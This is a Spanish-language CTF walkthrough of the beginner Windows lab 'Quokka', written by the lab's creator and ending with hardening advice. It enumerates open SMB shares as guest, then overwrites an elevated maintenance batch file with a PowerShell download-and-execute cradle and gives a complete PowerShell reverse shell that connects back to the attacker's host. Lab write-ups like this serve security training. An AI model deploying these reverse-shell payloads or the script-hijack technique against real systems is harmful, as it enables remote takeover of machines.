Post

TheHackerLabs - Principiante : [Quokka]

Introducción

Bienvenidos al desafío “Quokka”, un CTF de nivel principiante en el que se exploran vulnerabilidades en IIS y Samba en un entorno de Windows Server. En este reto, los jugadores deben analizar servicios básicos y comprender la infraestructura para lograr su objetivo.

🌐 Web oficial del CTF: TheHackersLabs - Quokka

Obteniendo Información

Paso 1: Obtenemos IP

Iniciamos con arp-scan para identificar la dirección IP de la máquina objetivo dentro de nuestra red local:

1
2
3
──(oscar㉿kali)-[~]
└─$ sudo arp-scan -I eth0 --localnet | grep -i "08:00:27:c7:7e:d7"
192.168.1.48    08:00:27:c7:7e:d7       (Unknown)

Paso 2: Escaneo de Puertos y Servicios

Realizamos un escaneo completo de puertos y servicios utilizando nmap.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(oscar㉿kali)-[~]
└─$ sudo nmap -sSCV -p- -Pn -n --min-rate 5000 192.168.1.48 
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-title: Portfolio y Noticias Tech de Quokka 
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
5357/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Service Unavailable
|_http-server-header: Microsoft-HTTPAPI/2.0
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49668/tcp open  msrpc         Microsoft Windows RPC
MAC Address: 08:00:27:C7:7E:D7 (Oracle VirtualBox virtual NIC)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

El escaneo reveló un servidor IIS y un servicio Samba.

Análisis de IIS

Al acceder al servidor en el puerto 80, encontramos un portal de tipo blog, con entradas sobre tecnología. No parecen tener ningún vínculo significativo, pero al observar los detalles, notamos algo interesante:

Imagen del mensaje 'source' en index.html

Una de las entradas menciona que los encargados del proyecto “Quokka”, Daniel y Luis, deben revisar un servicio secundario con privilegios. Curiosamente, estos nombres coinciden con los usuarios en la sección de contacto del portal. Aunque IIS no parece tener vulnerabilidades aquí, esta pista sugiere que podría haber algo en el servicio Samba.

Imagen del mensaje 'source' en index.html

Análisis de Samba

Exploración de Carpetas Compartidas

Probamos con un comando básico de netexec usando las credenciales de guest para ver los recursos compartidos:

1
netexec smb 192.168.1.48 -u 'guest' -p '' --shares

Salida:

1
2
3
4
5
6
7
8
SMB         192.168.1.48    445    WIN-BFBAV3DDG0N  [*] Windows Server 2022 Build 20348 x64 (name:WIN-BFBAV3DDG0N) (domain:WIN-BFBAV3DDG0N) (signing:False) (SMBv1:False)
SMB         192.168.1.48    445    WIN-BFBAV3DDG0N  [+] WIN-BFBAV3DDG0N\guest: (Guest)
SMB         192.168.1.48    445    WIN-BFBAV3DDG0N  [*] Enumerated shares
SMB         192.168.1.48    445    WIN-BFBAV3DDG0N  Share           Permissions     Remark
SMB         192.168.1.48    445    WIN-BFBAV3DDG0N  ADMIN$                          Admin remota
SMB         192.168.1.48    445    WIN-BFBAV3DDG0N  C$                              Recurso predeterminado
SMB         192.168.1.48    445    WIN-BFBAV3DDG0N  IPC$            READ            IPC remota
SMB         192.168.1.48    445    WIN-BFBAV3DDG0N  Shared          READ,WRITE   

El blog tenía razón: guest tiene acceso de lectura y escritura en C:\Shared. A continuación, listamos la estructura de carpetas que encontramos en Samba:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
C:\Shared\
│
├── Documentación\
│   ├── Informe_Proyecto.pdf
│   ├── Diagrama_Flujo.pptx
│   ├── Procedimientos\
│   │   ├── Backup_Policy.txt
│   │   ├── Plan_Recuperacion.docx
│   │   └── Instrucciones_Reinicio.docx
│   ├── Archivos_Antiguos\
│   │   ├── Antiguo_Informe.docx
│   │   ├── README.txt
│   │   └── Cambios_2022.txt
│   └── Configuraciones\
│       ├── Config_Servidores.xlsx
│       ├── FTP_Configuracion.txt
│       └── Config_Red.docx
│
├── Proyectos\
│   ├── Quokka\
│   │   ├── Diseño\
│   │   │   ├── Wireframe_Quokka.jpg
│   │   │   ├── Quokka_Logo.psd
│   │   │   └── Assets\
│   │   │       ├── Iconos\
│   │   │       └── Imágenes\
│   │   ├── Código\
│   │   │   ├── index.html
│   │   │   ├── mantenimiento.bat  (Vulnerabilidad Oculta)
│   │   │   └── README.md
│   │   ├── Documentación_Interna.docx
│   │   └── Manual_Quokka.pdf
│   ├── Proyecto_X\
│   │   ├── README.txt
│   │   ├── Esquema_Funcionalidad.pptx
│   │   └── Código\
│   │       ├── app.py
│   │       └── config.yaml
│   └── Proyecto_Antiguo\
│       ├── Informe_Final_2020.pdf
│       ├── Resultados.xlsx
│       └── Plan_Migración.docx
│
└── Logs\
    ├── Accesos\
    │   ├── Acceso_2023.txt
    │   └── Acceso_2022.txt
    ├── Backups\
    │   ├── Backup_01_2023.log
    │   ├── Backup_02_2023.log
    │   └── Backup_03_2023.log
    └── Fallos_Sistema\
        ├── Error_01.log
        └── Error_02.log

Conexión a Samba

Usamos smbclient para conectarnos al recurso compartido Shared:

1
2
3
┌──(oscar㉿kali)-[~]
└─$ smbclient -U guest% //192.168.1.48/Shared 
smb: \> ls

Después de listar las carpetas, navegamos hacia el directorio Proyectos\Quokka\Código, donde encontramos el script mantenimiento.bat:

1
2
smb: \Proyectos\Quokka\Código\> ls
mantenimiento.bat

Explotación del Script Vulnerable

Análisis del Archivo

Al descargar y analizar el archivo mantenimiento.bat, encontramos comentarios sospechosos:

1
:: Pista: Este script se ejecuta con permisos elevados. Seguro que no hay nada más?

El archivo tiene permisos elevados, y podemos modificarlo.

Modificación del Script

Sustituimos el contenido del archivo mantenimiento.bat para ejecutar una reverse shell de PowerShell:

1
2
3
4
5
6
7
@echo off

:: Reverse shell a Kali
powershell -NoP -NonI -W Hidden -Exec Bypass -Command "iex(New-Object Net.WebClient).DownloadString('http://192.168.1.36:8000/shell.ps1')"

:: Fin del script
exit

Creación del Archivo shell.ps1

Creamos el script shell.ps1 que contendrá el código de la reverse shell:

1
2
3
4
5
6
7
8
9
10
11
12
$client = New-Object System.Net.Sockets.TCPClient("192.168.1.36", 4444);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
    $sendback = (iex $data 2>&1 | Out-String );
    $sendback2  = $sendback + "PS " + (pwd).Path + "> ";
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush();
}
$client.Close()

Nos ponemos en escucha con nc en el puerto 4444 y levantamos un servidor web en Python para servir el archivo shell.ps1.

Imagen del mensaje 'source' en index.html Imagen del mensaje 'source' en index.html

Conclusión

En este laboratorio, hemos explotado vulnerabilidades en IIS y Samba para obtener acceso a un sistema Windows Server. Las vulnerabilidades clave incluían una configuración incorrecta en el servicio Samba, permitiendo el acceso de guest con permisos de lectura y escritura, y la posibilidad de modificar un script de mantenimiento con permisos elevados. Esto nos permitió inyectar un reverse shell para ganar control sobre la máquina.

Para evitar ser víctimas de estas vulnerabilidades, es fundamental:

  • Configurar adecuadamente los permisos de acceso a recursos compartidos y restringir el acceso de cuentas como guest.
  • Auditar y proteger los scripts de mantenimiento, especialmente aquellos que se ejecutan con permisos elevados.
  • Mantener el sistema y sus servicios actualizados con los últimos parches de seguridad.

Agradecimientos

Soy el creador de este laboratorio. Es mi primera máquina Windows, y he aprendido mucho en el proceso. Gracias, como siempre, a 🌐 TheHackersLabs por su inspiración y apoyo en la comunidad de CTF. ¡Espero que disfruten resolviendo este desafío tanto como yo disfruté creándolo!

This post is licensed under CC BY 4.0 by the author.